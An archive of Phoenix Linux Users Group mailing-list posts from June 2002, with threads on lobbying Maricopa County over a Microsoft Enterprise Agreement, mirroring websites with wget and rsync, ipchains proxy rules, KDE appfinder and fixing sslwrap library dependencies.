Andrew Kunasek AKunasek@mail.maricopa.gov > Dist 4 Max Wilson mwwilson@mail.maricopa.gov > Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov > > Also I would cc: the County Administrator and Deputy County > Administrator > > CAO: David Smith DSmith@mail.maricopa.gov > DCA: Sandi Wilson Swilson@mail.maricopa.gov > - -- > Jim > > Freedom is worth protecting > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPQttsSsk3ywszI1FEQJWEACfTdfEFZA/9kUdBoYCPM2TFnpR9qQAoOfE > cWg2GbQ9y1u85/ycX+Ko2+ss > =GiK8 > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 18:48:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 15 Jun 2002 11:48:07 -0700 Subject: Help Maricopa County Do the Right Thing References: <0206150802011X.08309@nova.wedge.org> <3D0B8726.590EDAA7@georgetoft.com> Message-ID: <3D0B8BE7.F04A55C9@leml.asu.edu> George Toft wrote: > > I just spent some time reading Maricopa County policies. Interesting > references: > > MC1-101 DEFINITIONS > 25."CONTRACTOR" means any Person who has a Contract with a County > Governmental unit. For purposes of Article 5, Contractor may also mean > Respondent as defined in this Article. > 36."DEBARMENT" means an action taken by the County Administrative > Officer under MC1-902 to prohibit a Person from Participating in > Maricopa County Procurements. > 80."PERSON" means any corporation, Business, individual, union, > committee, club, other organization or group of individuals. > 113."SUSPENSION" means an action taken by the County Administrative > Officer under MC1-902 temporarily disqualifying a Person from > participating in Maricopa County Procurements. > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > [Microsoft is considered a Contractor and a Person. This is important > below.] > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > All Specifications shall seek to promote overall economy for the purpose > intended and encourage competition in satisfying Maricopa County's needs > and shall not be unduly restrictive. > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > [Is there any technology that is Microsoft exclusive? I believe there > are sites that explain how to replace Exchange Server completely using > Linux/OSS; and SQL Server is replaceable with mySQL; IIS & ASP is > replaceable with Apache & PHP, right?] but isn't it the case that doing this violates M$'s enterprise agreement? > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > B. The causes for Debarment or Suspension shall include, but are not > limited to, the following: > 2. Conviction of any Person or any subsidiary or affiliate of any Person > under any statute of the Federal government, this State or its political > subdivision or any other State for: > k. Any other offense indicating a lack of business integrity or business > honesty which affects responsibility as a Contractor. > 3. Conviction or civil judgment finding a violation by any Person or any > subsidiary or affiliate of any Person under State or Federal Antitrust > Statutes. > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > [As I read MC1-902.B.3, Microsoft (a Person), having been convicted of a > violation of Federal Antitrust Statues, cannot be a County Contractor.] Oh my god! that's proceless. Imagine the look on the legal-begal's face when someone hit's the coptroler with that one... If you pass that little' gem on I would be most curious to hear the reply from the county... EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 18:59:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sat, 15 Jun 2002 11:59:42 -0700 (PDT) Subject: Help Maricopa County Do the Right Thing In-Reply-To: <0206150802011X.08309@nova.wedge.org> Message-ID: I wrote emails to everyone listed below. I encourage all of you to do the same. This is an important moment for us to positively affect computing in Maricopa County. Please write them and let them know you are concerned. Be polite and stress that there are excellent alternatives available. Go team, go! :-) ~M On Sat, 15 Jun 2002, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I have heard from a "reliable source" that the Maricopa County Council has > decided not to automatically sign off on having the county sign an Enterprise > Agreement with Microsoft. The source said that people within the county IT > organizations made their opinion known that the Enterprise Agreement might > not be the best path for the county to blindly follow. > > Since no decision has yet been made, I urge you to PLEASE PLEASE PLEASE > contact your Maricopa County district council person and your city council > people with some simple questions. > > a. Ask them if they plan to approve funding for the Enterprise Agreement with > the Microsoft Corporation? > > b. If they do plan to do so, ask them to provide you with a copy of the > agreement and the dollar amount to be expended. > > c. Ask them when they will be hearing from the public on the budget, so if > they are adopting an Enterprise Agreement with Microsoft, you can have your > voice heard publicly. > > d. Ask they why do they do business with a vendor that has been convicted of > felony wrongdoings. > . > e. Ask them if they have they considered alternatives to Microsoft products. > > I dont have city contact information but county contact information is as > follows: > > Map To Find Your Council Person > http://www.maricopa.gov/county_glance/maps.asp?link=districtMap > > Council Contact Email > Dist 1 Fulton Brock FBrock@mail.maricopa.gov > Dist 2 Don Stapley DStapley@mail.maricopa.gov > Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov > Dist 4 Max Wilson mwwilson@mail.maricopa.gov > Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov > > Also I would cc: the County Administrator and Deputy County > Administrator > > CAO: David Smith DSmith@mail.maricopa.gov > DCA: Sandi Wilson Swilson@mail.maricopa.gov > - -- > Jim > > Freedom is worth protecting > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPQttsSsk3ywszI1FEQJWEACfTdfEFZA/9kUdBoYCPM2TFnpR9qQAoOfE > cWg2GbQ9y1u85/ycX+Ko2+ss > =GiK8 > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 18:58:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Sat, 15 Jun 2002 11:58:51 -0700 Subject: Saving a web site local In-Reply-To: <200206150937.14349.alandd@mindspring.com> References: <200206142215.23043.alandd@mindspring.com> <20020614211333.GA153@crystaldragon> <200206150937.14349.alandd@mindspring.com> Message-ID: <20020615115851.1623e680.derek@gnue.org> wget On Sat, 15 Jun 2002 09:37:14 -0700 Alan Dayley wrote: > I want to save a web page and all the pages it links to (about 2 deep) > to my local hard drive so I can browse it locally. I don't see this > capability in Konqueror or Mozilla. How do I do this? > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 19:00:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Sat, 15 Jun 2002 12:00:53 -0700 Subject: Saving a web site local In-Reply-To: References: <200206150937.14349.alandd@mindspring.com> Message-ID: <20020615120053.49c33d98.derek@gnue.org> wget + cvs + cron or better yet work with the author of the site and use rysnc + cron + cvs -Derek On Sat, 15 Jun 2002 10:52:18 -0700 (MST) "der.hans" wrote: > Am 15. Jun, 2002 schwätzte Alan Dayley so: > > > I want to save a web page and all the pages it links to (about 2 > > deep) to my local hard drive so I can browse it locally. I don't > > see this capability in Konqueror or Mozilla. How do I do this? > > How about a tool that can run from cron to mirror a site *and* shove > it into cvs? > > I want to be able to have a history and also not have to worry about a > local update whacking the page if it's been removed from the original > site. > > ciao, > > der.hans > -- > # https://www.LuftHans.com/ > # You can't handle the source! - der.hans > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 08:16:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (j) Date: Sun, 16 Jun 2002 01:16:40 -0700 Subject: How to change font sized Message-ID: Where would I change the font size for my display. I am running Mandrake 8.1 The main thing is increasing the size of the letters on the screen so i can see them better. Changing the overall font size, would that also change the size of what I see in VI, emacs, and NEdit ? Thank you] Roger From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 20:20:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sat, 15 Jun 2002 16:20:10 -0400 Subject: Saving a web site local References: <200206150937.14349.alandd@mindspring.com> <20020615120053.49c33d98.derek@gnue.org> Message-ID: <3D0BA17A.186E1C1B@georgetoft.com> Hmmm... I think running r* services on an Internet-facing server is about as appealing as playing Russian Roulette with a 9mm. I'm not sure you'll find too many people that will do either - at least not someone that reads SANS, CERT, or SecurityPortal. I agree that rsync is a really nifty tool, but is inappropriate for any network that is untrusted, i.e. the Internet. George Derek Neighbors wrote: > > wget + cvs + cron > > or better yet work with the author of the site and use rysnc + cron + > cvs > > -Derek > On Sat, 15 Jun 2002 10:52:18 -0700 (MST) > "der.hans" wrote: > > > Am 15. Jun, 2002 schwätzte Alan Dayley so: > > > > > I want to save a web page and all the pages it links to (about 2 > > > deep) to my local hard drive so I can browse it locally. I don't > > > see this capability in Konqueror or Mozilla. How do I do this? > > > > How about a tool that can run from cron to mirror a site *and* shove > > it into cvs? > > > > I want to be able to have a history and also not have to worry about a > > local update whacking the page if it's been removed from the original > > site. > > > > ciao, > > > > der.hans > > -- > > # https://www.LuftHans.com/ > > # You can't handle the source! - der.hans > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 20:29:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (foodog) Date: Sat, 15 Jun 2002 13:29:23 -0700 Subject: KDE 3.0 "appfinder" Message-ID: <3D0BA3A3.4C8DCFE6@pop.phnx.uswest.net> With previous versions of KDE there was a thing called "appfinder" in the menu that'd search through the system and add applications to the K menu. Does anyone know how to get KDE 3.0 to do that? I've got Redhat 7.3 installed. Thanks much, Steve From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 21:05:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Sat, 15 Jun 2002 14:05:49 -0700 Subject: Saving a web site local In-Reply-To: <3D0BA17A.186E1C1B@georgetoft.com> References: <200206150937.14349.alandd@mindspring.com> <20020615120053.49c33d98.derek@gnue.org> <3D0BA17A.186E1C1B@georgetoft.com> Message-ID: <20020615140549.48475f22.derek@gnue.org> Maybe I have miscommunicated things here. I never said run rsync publicly. I meant have a private server use rsync via ssh to get at the Internet site. Certainly you run ssh on your servers to access them remotely? -derek On Sat, 15 Jun 2002 16:20:10 -0400 George Toft wrote: > Hmmm... I think running r* services on an Internet-facing server is > about > as appealing as playing Russian Roulette with a 9mm. I'm not sure > you'll > find too many people that will do either - at least not someone that > reads > SANS, CERT, or SecurityPortal. > > I agree that rsync is a really nifty tool, but is inappropriate for > any network that is untrusted, i.e. the Internet. > > George > > > Derek Neighbors wrote: > > > > wget + cvs + cron > > > > or better yet work with the author of the site and use rysnc + cron > > + cvs > > > > -Derek > > On Sat, 15 Jun 2002 10:52:18 -0700 (MST) > > "der.hans" wrote: > > > > > Am 15. Jun, 2002 schwätzte Alan Dayley so: > > > > > > > I want to save a web page and all the pages it links to (about 2 > > > > deep) to my local hard drive so I can browse it locally. I > > > > don't see this capability in Konqueror or Mozilla. How do I do > > > > this? > > > > > > How about a tool that can run from cron to mirror a site *and* > > > shove it into cvs? > > > > > > I want to be able to have a history and also not have to worry > > > about a local update whacking the page if it's been removed from > > > the original site. > > > > > > ciao, > > > > > > der.hans > > > -- > > > # https://www.LuftHans.com/ > > > # You can't handle the source! - der.hans > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > doesn't post to the list quickly and you use Netscape to write > > > mail. > > > > > > PLUG-discuss mailing list - > > > PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 10:22:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (j) Date: Sun, 16 Jun 2002 03:22:51 -0700 Subject: How to change font sized In-Reply-To: References: Message-ID: Never mind, the brain finally started working again. Thanks On Sunday 16 June 2002 01:16, you wrote: > Where would I change the font size for my display. I am running Mandrake > 8.1 The main thing is increasing the size of the letters on the screen so i > can see them better. > > Changing the overall font size, would that also change the size of what I > see in VI, emacs, and NEdit ? > > Thank you] > > Roger > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 00:08:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sat, 15 Jun 2002 20:08:47 -0400 Subject: Saving a web site local References: <200206150937.14349.alandd@mindspring.com> <20020615120053.49c33d98.derek@gnue.org> <3D0BA17A.186E1C1B@georgetoft.com> <20020615140549.48475f22.derek@gnue.org> Message-ID: <3D0BD70F.19E0EB16@georgetoft.com> I use a web hosting company that does not allow shell access. I have found that if you create a development environment that is identical to production, your need for shell access is not really necessary. For example, in my current job, every production problem I have had was reporducable in development. Fix the issue in dev, migrate to prod, and it's fixed. Yes, I have a dev web server running at home for my personal web site. I make it work here, then migrate to prod. I haven't had shell access in almost a year, and don't miss it. George Derek Neighbors wrote: > > Maybe I have miscommunicated things here. I never said run rsync > publicly. I meant have a private server use rsync via ssh to get at the > Internet site. Certainly you run ssh on your servers to access them > remotely? > > -derek > > On Sat, 15 Jun 2002 16:20:10 -0400 > George Toft wrote: > > > Hmmm... I think running r* services on an Internet-facing server is > > about > > as appealing as playing Russian Roulette with a 9mm. I'm not sure > > you'll > > find too many people that will do either - at least not someone that > > reads > > SANS, CERT, or SecurityPortal. > > > > I agree that rsync is a really nifty tool, but is inappropriate for > > any network that is untrusted, i.e. the Internet. > > > > George > > > > > > Derek Neighbors wrote: > > > > > > wget + cvs + cron > > > > > > or better yet work with the author of the site and use rysnc + cron > > > + cvs > > > > > > -Derek > > > On Sat, 15 Jun 2002 10:52:18 -0700 (MST) > > > "der.hans" wrote: > > > > > > > Am 15. Jun, 2002 schwätzte Alan Dayley so: > > > > > > > > > I want to save a web page and all the pages it links to (about 2 > > > > > deep) to my local hard drive so I can browse it locally. I > > > > > don't see this capability in Konqueror or Mozilla. How do I do > > > > > this? > > > > > > > > How about a tool that can run from cron to mirror a site *and* > > > > shove it into cvs? > > > > > > > > I want to be able to have a history and also not have to worry > > > > about a local update whacking the page if it's been removed from > > > > the original site. > > > > > > > > ciao, > > > > > > > > der.hans > > > > -- > > > > # https://www.LuftHans.com/ > > > > # You can't handle the source! - der.hans > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write > > > > mail. > > > > > > > > PLUG-discuss mailing list - > > > > PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 00:25:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sat, 15 Jun 2002 17:25:27 -0700 (MST) Subject: Saving a web site local In-Reply-To: <20020615120053.49c33d98.derek@gnue.org> Message-ID: Am 15. Jun, 2002 schwätzte Derek Neighbors so: > wget + cvs + cron > > or better yet work with the author of the site and use rysnc + cron + > cvs Yeah, yeah. You command line junkies! :) I do want a few features like turning on and off notification upon changes. I'd also like the ability to expressly ban certain sites from the archive, e.g. ads. It would be outstanding to make the differences notification be only dependent on part of the page, e.g. the actual content. I thought I'd seen projects for this, but didn't find anything in the debian packages, but I remembered you can now search for multiple words on FreshMeat and found HTMLArchive. Hmm, doesn't quite look like what I want, but I think I can convince it to do what I want and it provides something else I've been wanting... ciao, der.hans -- # https://www.LuftHans.com/ # Magic is science unexplained. - der.hans From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 01:35:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar Narayanasamy) Date: Sat, 15 Jun 2002 18:35:47 -0700 (MST) Subject: =?iso-8859-1?Q?ipchains_redirecting?= Message-ID: <1511.66.1.195.230.1024191347.squirrel@www.esaravana.com> Hello, I want to force the users on my network to go through my proxy server. What are the ipchains rules I should add. I am using Redhat 7.2 and squid proxy. Cheers! Sundar From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 01:36:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Adrian Mink) Date: Sat, 15 Jun 2002 18:36:03 -0700 Subject: Dependency Problems Message-ID: <026e01c214d6$2df0d530$0401a8c0@minkland.com> Hello, I am having a problem I hope someone can help with. I am trying to install sslwrap and keep getting the following dependency errors. [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm error: failed dependencies: libcrypto.so.0 is needed by sslwrap-2.0.5-3 libssl.so.0 is needed by sslwrap-2.0.5-3 Now, openssl is installed and verified. The results of rpm -qa | grep openssl show that both openssl and openssl-devel 0.9.6b-18 are installed. Now, I have noticed that openssl does not seem to install libcrypto.so.0 and libssl.so.0, but it adds the version number to the end of the files. So I actually have libcrypto.so.0.9.6b, etc. Could this be my issue? Can someone tell me how to fix it? Thanks! Adrian From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 01:53:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 15 Jun 2002 18:53:37 -0700 Subject: ipchains redirecting In-Reply-To: <1511.66.1.195.230.1024191347.squirrel@www.esaravana.com> References: <1511.66.1.195.230.1024191347.squirrel@www.esaravana.com> Message-ID: <1024192417.14414.7.camel@barney.azapple.com> specifically reject everything on the internal interface except for that you want to all (your proxy server) /sbin/ipchains -A input -j ACCEPT -i $INTIF -p tcp -s 0.0.0.0/0 -d \ $INTIP proxy_server_port /sbin/ipchains -A input -j REJECT -i $INTIF -s 0.0.0.0/0 -d \ $INTIP RH 7.2, you should be using iptables instead of ipchains. it's a 2.4 kernel. Craig On Sat, 2002-06-15 at 18:35, Sundar Narayanasamy wrote: > Hello, > > I want to force the users on my network to go through my proxy server. What > are the ipchains rules I should add. > > I am using Redhat 7.2 and squid proxy. > > Cheers! > Sundar > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 02:06:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mario Hines) Date: Sat, 15 Jun 2002 19:06:55 -0700 (PDT) Subject: Error on the Installation of Mandrake 8.2 Message-ID: <20020616020655.89129.qmail@web20605.mail.yahoo.com> The name is Mario. New to the discussion list and new to Phoenix. I'm having a problem with installing Mandrake 8.2 on my Laptop. I have a ProStar 5190S. I have Mandrake 7.2 on it and it works perfectly. The error that comes up during installation is: "Kernel Panic:VFS: Can't mount the device 01:03." I'm not exactly sure what that means, but I kinda bypassed that problem by just going into Mandrake and doing a live update, then I run in this error message: "Can't open /var/lib/rpm/Packages." I check in that section of my tree, . . . didn't have a Packages directory. I also tried another way with the rpm's, but those had signature errors. So, please, tell me if it's the CD or is it my system. Cause I have NO clue of what to do now. Thanks. -Mario __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 02:17:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Sat, 15 Jun 2002 19:17:55 -0700 (MST) Subject: Dependency Problems In-Reply-To: <026e01c214d6$2df0d530$0401a8c0@minkland.com> Message-ID: Adrian, I'm dimly remembering this from a few months ago. I think that it was just a matter of adding an appropriately named symbolic link to libcrypto.so.0.9.6b Something like this (as the root user): cd /lib ln -s libcrypto.so.0.9.6b libcrypto.so.0 In case this doesn't work out, keep a log of what you did so you can back out changes to stuff in thie /lib directory. Careful what you do in /lib, a goof here will render your system in need of repair... Do this: cd /lib ls -l libssl* ls -l libcrypto* and post the results back to the list, maybe that'll jog some memories? - tom e. On Sat, 15 Jun 2002, Adrian Mink wrote: Hello, I am having a problem I hope someone can help with. I am trying to install sslwrap and keep getting the following dependency errors. [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm error: failed dependencies: libcrypto.so.0 is needed by sslwrap-2.0.5-3 libssl.so.0 is needed by sslwrap-2.0.5-3 Now, openssl is installed and verified. The results of rpm -qa | grep openssl show that both openssl and openssl-devel 0.9.6b-18 are installed. Now, I have noticed that openssl does not seem to install libcrypto.so.0 and libssl.so.0, but it adds the version number to the end of the files. So I actually have libcrypto.so.0.9.6b, etc. Could this be my issue? Can someone tell me how to fix it? Thanks! Adrian ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 02:59:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gary Nichols) Date: 15 Jun 2002 19:59:44 -0700 Subject: Saving a web site local In-Reply-To: <20020615140549.48475f22.derek@gnue.org> References: <200206150937.14349.alandd@mindspring.com> <20020615120053.49c33d98.derek@gnue.org> <3D0BA17A.186E1C1B@georgetoft.com> <20020615140549.48475f22.derek@gnue.org> Message-ID: <1024196385.31159.4.camel@localhost.localdomain> You have the right idea Derek - go for it. Ssh is just like any service - keep up to date on the patches and you're at a reduced risk. I would argue that just because you don't have shell access doesn't make the server any safer. *cough* wu-ftpd *cough* buffer overflow *cough* On Sat, 2002-06-15 at 14:05, Derek Neighbors wrote: > Maybe I have miscommunicated things here. I never said run rsync > publicly. I meant have a private server use rsync via ssh to get at the > Internet site. Certainly you run ssh on your servers to access them > remotely? From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 03:13:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sat, 15 Jun 2002 23:13:39 -0400 Subject: Saving a web site local References: <200206150937.14349.alandd@mindspring.com> <20020615120053.49c33d98.derek@gnue.org> <3D0BA17A.186E1C1B@georgetoft.com> <20020615140549.48475f22.derek@gnue.org> <1024196385.31159.4.camel@localhost.localdomain> Message-ID: <3D0C0263.94F9BA0B@georgetoft.com> Gary Nichols wrote: > > You have the right idea Derek - go for it. > > Ssh is just like any service - keep up to date on the patches and you're > at a reduced risk. > > I would argue that just because you don't have shell access doesn't make > the server any safer. *cough* wu-ftpd *cough* buffer overflow *cough* I agree - just because I don't have it doesn't mean it's not there. My point eas that I don't have it and don't need it. George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 04:04:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Sat, 15 Jun 2002 21:04:04 -0700 Subject: KDE 3.0 "appfinder" In-Reply-To: <3D0BA3A3.4C8DCFE6@pop.phnx.uswest.net> References: <3D0BA3A3.4C8DCFE6@pop.phnx.uswest.net> Message-ID: <200206152104.04995@granroth.org> On Saturday 15 June 2002 01:29 pm, foodog wrote: > With previous versions of KDE there was a thing called "appfinder" in > the menu that'd search through the system and add applications to the K > menu. Does anyone know how to get KDE 3.0 to do that? I've got Redhat > 7.3 installed. Thanks much, It's still there. I'm not sure if RH messes with the menu structure at all.. but if they don't, it should be in K Menu -> System -> KAppfinder. Or, you could run it from the command line ('kappfinder'). Or you could do Alt+F2 and run it from there. -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 04:06:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Adrian Mink) Date: Sat, 15 Jun 2002 21:06:44 -0700 Subject: Dependency Problems References: Message-ID: <000701c214eb$3a689e00$0401a8c0@minkland.com> Thanks, been trying that. I have placed symlinks in /lib, /usr/lib and /usr/local/lib pointing back to /lib/libcrypto.so.0.9.6b. No joy. Here are the results anyway, hope it jogs you memory because I am stumped! lrwxrwxrwx 1 root root 16 Jun 15 18:47 libssl.so.0 -> libssl.so.0.9.6b -rwxr-xr-x 1 root root 207008 Apr 4 10:24 libssl.so.0.9.6b lrwxrwxrwx 1 root root 16 May 24 09:05 libssl.so.2 -> libssl.so.0.9.6b [root@linux lib]# ls -l libcrypto* lrwxrwxrwx 1 root root 19 Jun 15 18:48 libcrypto.so.0 -> libcrypto.so.0.9.6b -rwxr-xr-x 1 root root 936514 Apr 4 10:24 libcrypto.so.0.9.6b lrwxrwxrwx 1 root root 19 May 24 09:05 libcrypto.so.2 -> libcrypto.so.0.9.6b Thanks. ----- Original Message ----- From: "Tom Emerson" To: "Plug List" Sent: Saturday, June 15, 2002 7:17 PM Subject: Re: Dependency Problems > Adrian, I'm dimly remembering this from a few months ago. I think that it > was just a matter of adding an appropriately named symbolic link to > libcrypto.so.0.9.6b > > Something like this (as the root user): > cd /lib > ln -s libcrypto.so.0.9.6b libcrypto.so.0 > > In case this doesn't work out, keep a log of what you did so you can back > out changes to stuff in thie /lib directory. Careful what you do in /lib, > a goof here will render your system in need of repair... > > Do this: > cd /lib > ls -l libssl* > ls -l libcrypto* > > and post the results back to the list, maybe that'll jog some memories? > > - tom e. > > On Sat, 15 Jun 2002, Adrian Mink wrote: > > Hello, > > I am having a problem I hope someone can help with. I am trying to install > sslwrap and keep getting the following dependency errors. > > [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm > error: failed dependencies: > libcrypto.so.0 is needed by sslwrap-2.0.5-3 > libssl.so.0 is needed by sslwrap-2.0.5-3 > > Now, openssl is installed and verified. The results of rpm -qa | grep > openssl show that both openssl and openssl-devel 0.9.6b-18 > are installed. Now, I have noticed that openssl does not seem to install > libcrypto.so.0 and libssl.so.0, but it adds the version number > to the end of the files. So I actually have libcrypto.so.0.9.6b, etc. Could > this be my issue? Can someone tell me how to fix it? > Thanks! > > Adrian > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 04:18:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Sat, 15 Jun 2002 21:18:05 -0700 Subject: Dependency Problems References: <000701c214eb$3a689e00$0401a8c0@minkland.com> Message-ID: <3D0C117D.52AFA3F@qwest.net> rpm doesn't actually check for the file, just the rpm list for the rpm that contains the file. Try looking on rpmfind to find what packages it depends on. Adrian Mink wrote: > > Thanks, been trying that. I have placed symlinks in /lib, /usr/lib and > /usr/local/lib pointing back to > /lib/libcrypto.so.0.9.6b. No joy. Here are the results anyway, hope it jogs > you memory because > I am stumped! > > lrwxrwxrwx 1 root root 16 Jun 15 18:47 libssl.so.0 -> > libssl.so.0.9.6b > -rwxr-xr-x 1 root root 207008 Apr 4 10:24 libssl.so.0.9.6b > lrwxrwxrwx 1 root root 16 May 24 09:05 libssl.so.2 -> > 